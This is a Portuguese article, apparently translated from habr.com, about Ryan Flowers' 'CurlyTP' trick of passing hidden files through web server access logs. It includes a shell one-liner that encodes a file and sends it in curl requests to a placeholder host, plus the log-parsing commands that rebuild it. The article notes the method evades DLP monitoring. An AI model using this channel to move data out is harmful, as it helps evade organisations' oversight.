Troca de mensagens secretas através de logs do servidor

De acordo com a definição da Wikipedia, um dead drop é uma ferramenta de conspiração que serve para trocar informações ou alguns itens entre pessoas usando um local secreto. A ideia é que as pessoas nunca se encontrem – mas ainda assim troquem informações para manter a segurança operacional.

O esconderijo não deve atrair atenção. Por isso, no mundo offline costumam usar coisas discretas: um tijolo solto na parede, um livro da biblioteca ou um buraco numa árvore.

Existem muitas ferramentas de criptografia e anonimato na Internet, mas o próprio fato de utilizar essas ferramentas chama a atenção. Além disso, eles podem ser bloqueados no nível corporativo ou governamental. O que fazer?

O desenvolvedor Ryan Flowers propôs uma opção interessante - use qualquer servidor web como esconderijo. Se você pensar bem, o que um servidor web faz? Recebe solicitações, emite arquivos e grava logs. E registra todas as solicitações, mesmo os incorretos!

Acontece que qualquer servidor web permite salvar quase qualquer mensagem no log. Flowers se perguntou como usar isso.

Ele oferece esta opção:

  1. Pegue um arquivo de texto (mensagem secreta) e calcule o hash (md5sum).
  2. Nós o codificamos (gzip+uuencode).
  3. Escrevemos no log usando uma solicitação deliberadamente incorreta ao servidor.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Para ler um arquivo, você precisa realizar estas operações na ordem inversa: decodificar e descompactar o arquivo, verificar o hash (o hash pode ser transmitido com segurança por canais abertos).

Os espaços são substituídos por =+=para que não haja espaços no endereço. O programa, que o autor chama de CurlyTP, usa codificação base64, como anexos de e-mail. A solicitação é feita com uma palavra-chave ?transfer?para que o destinatário possa encontrá-lo facilmente nos logs.

O que vemos nos logs neste caso?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Conforme já mencionado, para receber uma mensagem secreta é necessário realizar as operações na ordem inversa:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

O processo é fácil de automatizar. Md5sum corresponde e o conteúdo do arquivo confirma que tudo foi decodificado corretamente.

O método é muito simples. “O objetivo deste exercício é apenas provar que os arquivos podem ser transferidos por meio de pequenas solicitações inocentes da Web e que funciona em qualquer servidor Web com logs de texto simples. Essencialmente, todo servidor web é um esconderijo!” escreve Flowers.

Claro, o método só funciona se o destinatário tiver acesso aos logs do servidor. Mas esse acesso é fornecido, por exemplo, por muitos hosters.

Como usá-lo?

Ryan Flowers diz que não é um especialista em segurança da informação e não irá compilar uma lista de possíveis usos para o CurlyTP. Para ele, é apenas uma prova de conceito de que as ferramentas familiares que vemos todos os dias podem ser usadas de forma não convencional.

Na verdade, este método tem uma série de vantagens sobre outros “escondimentos” de servidor, como Queda Morta Digital ou Caixa Pirata: não requer configuração especial do lado do servidor ou nenhum protocolo especial – e não levantará suspeitas entre quem monitora o tráfego. É improvável que um sistema SORM ou DLP verifique URLs em busca de arquivos de texto compactados.

Esta é uma das formas de transmitir mensagens através de arquivos de serviço. Você pode se lembrar de como algumas empresas avançadas costumavam colocar Empregos de desenvolvedor em cabeçalhos HTTP ou no código das páginas HTML.

Troca de mensagens secretas através de logs do servidor

A ideia era que apenas desenvolvedores web vissem esse ovo de Páscoa, já que uma pessoa normal não olharia os cabeçalhos ou o código HTML.

Troca de mensagens secretas através de logs do servidor

Fonte: habr.com

Adicionar um comentário